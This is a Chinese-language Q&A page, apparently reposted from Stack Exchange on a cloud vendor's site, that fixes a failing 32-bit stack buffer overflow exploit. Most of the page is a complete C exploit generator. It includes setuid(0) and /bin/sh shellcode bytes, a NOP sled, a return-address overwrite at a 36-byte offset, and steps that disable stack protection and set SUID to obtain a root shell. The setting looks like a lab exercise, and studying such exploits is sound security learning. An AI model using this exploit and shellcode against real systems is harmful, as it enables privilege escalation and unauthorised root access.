You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

缓冲区溢出漏洞利用调试求助:恶意文件触发段错误

缓冲区溢出漏洞利用修复方案

核心问题分析

当前代码执行时触发段错误的关键原因有三个:

  • Shellcode定义错误:用字符串转义形式存储,写入文件的是ASCII字符而非实际机器指令字节
  • 未正确覆盖返回地址:溢出后EIP被随机垃圾数据覆盖,无法跳转到Shellcode执行
  • 缓冲区偏移计算错误:未针对verify函数中32字节的local_buf计算溢出所需的精确长度

修复步骤与代码修改

1. 修正Shellcode定义

将字符串形式的Shellcode改为字节数组,直接用十六进制表示机器指令,确保写入文件的是正确的指令字节:

unsigned char shellcode[] = {
    0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x17, 0xcd, 0x80,  // setuid(0)
    0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x2e, 0xcd, 0x80,  // setgid(0)
    0x31, 0xc0,                                      // xor eax, eax
    0x50,                                            // push eax
    0x68, 0x2f, 0x2f, 0x73, 0x68,                    // push 0x68732f2f ("//sh")
    0x68, 0x2f, 0x62, 0x69, 0x6e,                    // push 0x6e69622f ("/bin")
    0x89, 0xe3,                                      // mov ebx, esp
    0x50,                                            // push eax
    0x53,                                            // push ebx
    0x89, 0xe1,                                      // mov ecx, esp
    0x99,                                            // cdq
    0xb0, 0x0b,                                      // mov al, 0x0b
    0xcd, 0x80                                       // int 0x80
};

2. 计算溢出偏移并覆盖返回地址

32位系统中,verify函数的栈结构为:

  • 32字节local_buf
  • 4字节EBP(栈基址)
  • 4字节返回地址(EIP)

需要先填充32+4=36字节的垃圾数据,之后写入返回地址,指向NOP滑区的位置(确保EIP跳转到NOP序列后能滑入Shellcode)。

3. 修改buf_exploit.c主逻辑

调整缓冲区填充顺序:先填NOP滑区,然后是Shellcode,最后覆盖返回地址。同时以二进制模式写入文件,避免字符串转义问题。

修改后的完整buf_exploit.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 1024
#define NOP 0x90

// 修正为字节数组形式的Shellcode
unsigned char shellcode[] = {
    0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x17, 0xcd, 0x80,  // setuid(0)
    0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x2e, 0xcd, 0x80,  // setgid(0)
    0x31, 0xc0,                                      // xor eax, eax
    0x50,                                            // push eax
    0x68, 0x2f, 0x2f, 0x73, 0x68,                    // push 0x68732f2f ("//sh")
    0x68, 0x2f, 0x62, 0x69, 0x6e,                    // push 0x6e69622f ("/bin")
    0x89, 0xe3,                                      // mov ebx, esp
    0x50,                                            // push eax
    0x53,                                            // push ebx
    0x89, 0xe1,                                      // mov ecx, esp
    0x99,                                            // cdq
    0xb0, 0x0b,                                      // mov al, 0x0b
    0xcd, 0x80                                       // int 0x80
};

int main() {
    char buffer[BUFFER_SIZE];
    char *log_file = "malicious_log_file";
    FILE *fp;
    // 32位系统下,local_buf(32) + EBP(4) = 36字节偏移后覆盖返回地址
    int offset = 36;
    // 实际地址需通过调试获取,示例用0xbffffc00(需替换为local_buf的实际栈地址)
    unsigned int ret_addr = 0xbffffc00;

    // 填充NOP滑区
    memset(buffer, NOP, BUFFER_SIZE);

    // 将Shellcode放在缓冲区中间(NOP滑区之后)
    memcpy(buffer + offset + 4, shellcode, sizeof(shellcode));

    // 覆盖返回地址,指向NOP滑区
    memcpy(buffer + offset, &ret_addr, sizeof(ret_addr));

    // 以二进制模式写入文件,避免转义
    fp = fopen(log_file, "wb");
    fwrite(buffer, BUFFER_SIZE, 1, fp);
    fclose(fp);

    return 0;
}

关键注意事项

  1. 返回地址调试:取消verify函数中printf("%p\n", local_buf);的注释,运行./is_log_file test打印local_buf的栈地址,将ret_addr设置为该地址加上16(落在NOP滑区中间)。
  2. 编译选项:编译is_log_file时关闭栈保护并开启栈可执行:gcc -fno-stack-protector -z execstack -m32 is_log_file.c -o is_log_file。
  3. 权限设置:给is_log_file添加SUID权限:chmod u+s is_log_file,确保溢出后能获取root权限。
  4. 修正fscanf语句:将is_log_file.c中的fscanf(file,"%[^\\n]", buffer);改为fscanf(file,"%[^\n]", buffer);,避免读取逻辑错误。

内容的提问来源于stack exchange,提问作者green box

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.07 15:50:54